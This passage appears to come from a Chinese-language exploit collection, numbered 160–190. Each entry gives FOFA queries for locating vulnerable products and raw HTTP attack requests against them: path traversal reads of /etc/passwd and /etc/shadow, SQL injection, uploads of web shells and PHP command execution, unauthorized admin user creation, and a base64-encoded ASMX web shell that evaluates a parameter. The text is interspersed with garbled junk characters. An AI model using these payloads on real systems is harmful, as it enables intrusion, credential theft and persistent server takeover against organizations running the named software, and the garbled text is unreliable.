+ e2 y6 M7 U& g* X1 R<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
</soap:Body>
* w8 V6 o* `% \</soap:Envelope>

: \7 M  C1 R0 M  ^( A5 ^' O
/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
# l: E3 q6 J/ @9 u
  l& D3 `0 s' S6 p' L3 q& P
160. Sonatype Nexus Repository 3目录遍历与文件读取
- D$ e% s0 y# y+ kCVE-2024-4956
FOFA：title="Nexus Repository Manager"
9 N0 q7 w3 l3 {' ZGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
Accept: */*
+ O* o0 Q8 L& s& j4 X. K. P8 ]Accept-Language: en
Accept-Encoding: gzip


161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
( u, }+ ?4 \& c第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
  B4 b$ K; l0 ^" YHost: x.x.x.x
; @# g! `& u4 g9 [2 S$ VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
+ O2 g& n4 b) K1 H" NConnection: close
' Z  @( [6 w: |, i* P. \; LContent-Length: 445
% L5 U( u$ E1 ^0 ?. d5 R' U7 `Content-Type: text/xml
! l( j3 F5 b' T' FAccept-Encoding: gzip
" o, ?: O1 P/ J) l1 o
<?xml version="1.0" encoding="utf-8"?>
3 X, Y* _, P- G# {, L6 {<soap:Envelope xmlns:xsi="
" A# R: B# O& x# ~! m3 }% ahttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
% m0 `9 t% q4 y7 t+ B<ip>1</ip>
/ a9 |& S3 d! p2 V2 D6 [<fileName>../../../../dizxdell.aspx</fileName>
/ C: {$ J' N- f( S) O<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
</UploadResume>
</soap:Body>
2 P- ~: b: M% `; J& k$ e3 N</soap:Envelope>
4 P: C- v$ ^) H9 V+ i# y9 G3 i) Z

http://x.x.x.x/dizxdell.aspx
) h9 Z5 g3 ]; K: c+ X" I
, Y/ x) ~7 P4 ?% P! c162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
1 C- N  T+ L4 l" k6 t3 s2 p  |FOFA: app="和丰山海-数字标牌"
8 w. m7 v  E. ]0 j# B7 v" fPOST /QH.aspx HTTP/1.1
" |0 a0 D2 T3 R' x& }Host: x.x.x.x
+ r; W( g; n2 cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 583
% A5 J: \1 G7 k! e/ ^Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
; e0 M5 m& U$ O6 gAccept-Encoding: gzip

------WebKitFormBoundaryeegvclmyurlotuey
# r( c7 Q) k0 x& P& U* wContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream

<% response.write("ujidwqfuuqjalgkvrpqy") %>
' W  V5 q& M9 |7 l2 \# X------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"
- E9 ~7 i8 B' }4 o: Z0 N; t* w
upload
------WebKitFormBoundaryeegvclmyurlotuey
# d$ L  Q: w% ^  I7 |$ uContent-Disposition: form-data; name="responderId"

ResourceNewResponder
$ A3 B0 Y( Y% @7 i. b6 J$ g6 A' n2 R------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"

/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--

' ~: n2 Q% ]6 w
http://x.x.x.x/opt/resources/kjuhitjgk.aspx
0 v" X2 r4 E% f0 s6 g% n) _/ C
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
! V0 C" i8 R9 T0 I# f" NPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
# B$ q$ ]- Q" ?$ Z3 wContent-Length: 293
Accept: */*
& W4 D0 P% t; V, c3 v  x; U6 p: Y7 r" aAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
4 D: L; ~. S! H3 D2 Q7 v! a
------iiqvnofupvhdyrcoqyuujyetjvqgocod
; P6 s0 [: m3 C8 `) ]( j, `: DContent-Disposition: form-data; name="name"

, J( i1 E) w7 D2 M1.php
$ b: r0 Z; g, z4 L& x------iiqvnofupvhdyrcoqyuujyetjvqgocod
" L: G& P0 \( s( E$ zContent-Disposition: form-data; name="upfile"; filename="1.php"
3 |- Z7 {5 _5 D5 S  y2 gContent-Type: image/jpeg

rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--
1 F  f% d) ?/ ]- k" U) b6 a0 a- L

164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
4 w* o2 e  p* W' ]FOFA: title="智慧综合管理平台登入"
0 C$ ?8 y, l7 G2 r  ^: W: d) _( I3 zPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
! S$ E9 U' O7 G; E8 W# ]6 `1 z  mHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
* U& o2 ]! C; NContent-Length: 288
  X, _1 V' i: e# UAccept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
; Q& D9 b  Q( M3 z& v& A. }# K- iConnection: close
6 s$ F+ \3 K; A. y+ B6 f$ ~& ^Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
  C4 O4 u7 K1 uX-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
% u; V. R) Q7 E) o3 d6 A( {- g
- r. D1 o! T) e5 `# s------dqdaieopnozbkapjacdbdthlvtlyl
; g" @4 a# T6 B8 G6 fContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg

1 F6 x0 X4 ]. l& X' h<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
7 p$ C- Y* M) R- t; I  E! L, N------dqdaieopnozbkapjacdbdthlvtlyl--

+ L; O% m; a: H1 _# V+ m
http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
* R6 k5 A# @( [' G7 w
165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
+ l8 O+ c  d) o, y2 EFOFA: app="OrangeHRM-产品"
9 `8 q8 O7 a% \9 C/ iURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
- x; [& r9 p: }' K" |. P5 `
2 F( g. k4 d( e
166. 中成科信票务管理平台SeatMapHandler SQL注入
5 M) B, i$ P$ ?7 EFOFA：body="技术支持：北京中成科信科技发展有限公司"
2 `/ K" ~- ~% `POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
3 ]5 |- U/ N4 b" N: Y* A( e: mPragma: no-cache
6 y" D5 w0 Q' l" f' x8 b+ TCache-Control: no-cache
Upgrade-Insecure-Requests: 1
; y3 X* Y' f* W, pUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
! C: v) E/ l9 N8 r8 w! iAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
+ H- y4 C% m: a$ I$ C* Z! {Connection: close
Content-Type: application/x-www-form-urlencoded
  \  M& @: g# hContent-Length: 89

Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
2 F0 \$ Q# i5 |
3 `1 W( V1 ^' s1 H7 S
167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
& e) E) B/ Y9 O* w3 f- sGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
- y5 @; K: \' E* y7 {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
6 E$ ~% N# C/ C/ x, u/ h  i' ]2 ?$ M6 SConnection: keep-alive
: o! v2 Q1 j4 a/ D4 q! w3 @

1 l$ x( b# v0 `( g9 f168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
' E0 }9 U4 c0 ]% FGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
3 e' l5 ~- p8 CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
1 r/ U: _( Y( [% P4 N6 F& c  Q$ pContent-Type: application/x-www-form-urlencoded
6 h6 x& D: S3 F1 w- ~' _Connection: close
$ d; n6 K7 l( [' ]! o% ]" Y
8 k3 |8 v- h. q, |

$ x- K2 k6 x; V% y# ?169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
6 I3 ]' _& e; n% o$ A5 vAccept: */*
. r9 J& v+ M/ lAccept-Encoding: gzip, deflate
Connection: close



; s0 ]# s. w" v" x170. 宏景EHR DisplayExcelCustomReport 任意文件读取
' v! b2 e* A! a6 r* n7 y1 sFOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
5 i, I- ]0 L5 J! vHost: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
: l& s2 C7 V- v9 U7 TContent-Type: application/x-www-form-urlencoded
% U+ z$ m! S2 W5 K: g- C' R7 Z/ Z
- r3 i" w' k8 O8 y) m( V9 Efilename=../webapps/ROOT/WEB-INF/web.xml
' g# H- o$ o4 i8 ~( p3 I0 L" l+ M
: i5 \* L$ q8 Z' k* o) r# t
171. 通天星CMSV6车载定位监控平台 SQL注入
. }, g2 b( o2 Y! P. oFOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
& ], S, [' h/ n' I+ GAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, s% a3 X# J8 _Accept-Encoding: gzip, deflate
Connection: close
# m/ y3 C8 z( X

% H! e; H, l3 M
172. DT-高清车牌识别摄像机任意文件读取
  B3 Z' n1 \( n& v$ a7 d/ kFOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
# X4 H( i: }( `# i1 s' VHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
1 `) _& i! C6 H$ M" PConnection: keep-alive



7 x" v  {' |# y173. Check Point 安全网关任意文件读取
/ n6 U* D0 X! K, mCVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
: E) O  S& [& DPOST /clients/MyCRL HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded

! ^' a$ w0 S: ~0 O1 O% K0 _aCSHELL/../../../../../../../etc/shadow

& n  j( ^; D& N
! J: d* F" P+ e( g. _
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
; w; h0 |. O5 [" `FOFA：app="金和网络-金和OA"
; _/ [: t  O! _4 K2 HGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
1 S0 l/ C& N( H  L& k1 }Host: your-ip
) f$ Z) ]# M9 D& U$ }5 Z$ qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
3 f5 L$ ^& t. {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
, _& E  C! {7 q2 h5 O6 k3 a


175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
! n, l8 r0 k4 u) @4 HUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
4 f5 B& i1 m: l# V: g4 qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7 a& x! `3 \' D6 Q% E% ]( ]Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
! k7 {1 e: |) ~/ x# fConnection: close
2 y& w- M  ~) cUpgrade-Insecure-Requests: 1
3 ?1 g& N6 O% _! U" k

  ?# j# L& e  @176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
* `5 l& D1 h) u% E' x) \POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
3 E. ?2 ?* m. O& w7 ?5 x" v  o3 wContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
6 U1 d8 s' j0 q, P' m( `7 mConnection: close

2 J8 J) W0 r) }  Y, c, m------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
( A- C$ c$ a% D* T) q  {Content-Type: image/png

<?php system("cat /etc/passwd");unlink(__FILE__);?>
" @  A7 P) C# H* a) k" w6 B) v------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"
" M& v2 p; |/ L* z
( |% m' ?8 s! q
------WebKitFormBoundaryOKldnDPT--

/ O0 E3 Z+ I. T
" E' Z4 q- D  a+ l, E' @
1 s6 E( f  [( j& e177. H3C路由器敏感信息泄露
, P) K9 y9 Y2 C- c0 w8 v, n/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
2 F, E$ O1 x' \/userLogin.asp/../actionpolicy_status/../M60.cfg
% L& Q' T  S& I5 F1 z' a5 d& T/userLogin.asp/../actionpolicy_status/../GR8300.cfg
$ L% z% c+ b7 C2 D3 I. T/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
) i$ L8 Z# D% t4 v/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
- j) n$ s  i) R/ M; G/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/ w& E# I* A7 A/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
5 \& r7 J! s, n, L  y/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
. ?$ v5 z+ ]: M1 ^; ^4 a$ F/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg

: f! `& [+ f: v
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
# w8 e$ Y! J& w' b5 _2 g: \6 lFOFA：header="/selfservice"
0 V4 ]6 n9 @/ c5 @  Q8 H; ?POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
9 U: E$ Q* X! e! I: \Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
& H( W3 N+ ]: H) G, @Content-Length: 252
8 ^+ N; m  N$ V+ sAccept-Encoding: gzip, deflate
# B4 V# w0 ?6 rConnection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
Content-Length: 255

12234
/ g# f+ N4 d) s2 P4 ?5 E' F3 t-----------------aqutkea7vvanpqy3rh2l--
8 T6 C4 S! T4 A) Y
" l. y/ K  k+ A, Q
GET /imc/primepush/%2e%2e/flex/12234.txt


" b9 P4 z) y. O: |& j& ~! ~179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
& R7 O# l9 e; _  wHost: {{Hostname}}
8 P+ h. b* R) S  X4 b9 eContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

path=../log4net.config&Name=
5 F7 J% o8 X6 w
- n* @4 u9 v  b& {9 L
180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
5 d, @9 v( l/ G* qGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
" x( y3 x' o3 }/ cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
; E( a& q0 P( n/ V$ ^Accept-Language: zh-CN,zh;q=0.9
3 K& p: v4 ]. Q" j- t! nConnection: close
0 G: [+ R2 k7 X, P" F
5 }; ?6 {, t- E! ?, ?) p- N  w; N
) p! n$ i: D1 B4 x181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
4 Q, ?7 |7 b7 h  SPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
4 m8 ?  z# L( o$ e( ^( B. `+ JHost: your-ip
) v/ k: [8 N( ]6 d' DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
! b. k; B; p/ r; Y8 A4 G# f. zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
. G$ s3 A1 F& ?  H& BAccept-Language: zh-CN,zh;q=0.9
# V4 Z0 c! g! j( X6 ?6 E" {Connection: close
Content-Type: application/x-www-form-urlencoded


. q5 x& d, \  N7 ?2 e% M& _. [: D* ~$ kaction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
( {% C8 E( G; W" C3 ^

182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
8 M! k8 C$ f: C9 X5 o5 _FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
! \. J3 _8 L4 M3 M# fHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
/ Y, h* B  t( X3 e0 H' f; M3 W: _Accept-Language: zh-CN,zh;q=0.9
Connection: close
% d1 j) W4 \8 aContent-Type: application/x-www-form-urlencoded

  i: `, Q  A( h  r! n- T3 N. S
username=test1234&pwd=test1234&savedays=1


/ L9 O/ G% U3 W/ {2 h. L% o9 }183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
$ w5 [$ \& f5 g2 b3 F+ l0 l# x) w) ?User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
( T9 x" {1 g+ b) p7 yAccept-Charset: utf-8
, ?) B$ X# W( X' Z7 K8 x' KAccept-Encoding: gzip, deflate
& e( r$ J7 w6 }% e3 ?/ a2 kConnection: close

: _- z& K# s1 M  J
  w8 O2 e% p: `9 F184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
6 }( L/ t7 W7 J( v, E% e; UPOST /soap/AddUser HTTP/1.1
Host: your-ip
9 C6 q/ x/ l- X* D, BAccept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
2 P+ {, D; A7 D) PContent-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
- S8 l7 ~0 F/ K% s9 O( ~+ P
3 s# l6 F- o0 S: j( M
& b# i  q  P/ S% G% e! v1 ?insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
; @3 J; f3 `( M+ b, g* d4 O8 Z  ^
. Y, L% T/ a2 u( b% D
& R" v5 @& q7 s* F  [. v$ J7 c) ^185. 瑞友天翼应用虚拟化系统SQL注入
7 {0 m5 i+ m% mversion < 7.0.5.1
9 d/ t8 i7 z  UFOFA：app="REALOR-天翼应用虚拟化系统"
* l9 B! {; E) YGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host

- Z- q; b- v1 w' G3 q  D) d) z
- S  e0 \! P7 Q, m. j( z186. F-logic DataCube3 SQL注入
+ o* L2 q+ z9 [$ [CVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
2 z/ ]" ]9 w  c  OPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
- g: a1 d3 L: v0 ~Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded

0 w$ y" j6 O" w8 o4 `! ~6 lreq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450

1 s2 O' L  p: k# p0 e& B( }; r. C
6 \- {& a* v. }& f187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
FOFA："Mura CMS"
, |3 {6 i" ^3 VPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
3 a. ~& j, E* G; rHost: your-ip
Content-Type: application/x-www-form-urlencoded

4 n5 S! k+ S- D: F) Z- o
' P4 S, J0 @) u/ x- J4 Uobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1

) k  n! ]- z( S  U5 ^
' C1 U1 G% O6 C! M+ W+ L188. 叁体-佳会视频会议 attachment 任意文件读取
3 F% K5 N. C+ jversion <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
- Q6 I( e/ P: ]$ B$ S! TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
# [  o& y5 y* MAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
# ^* T) [! c. f* {1 Q1 t- PConnection: close

/ q7 l& A  ], ?6 d! ~
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
+ N; G+ u: e, e  ?. R$ L4 ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

) g  d7 \" E- C; k
$ H  u, c: K0 t+ a0 B" [5 s& i190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
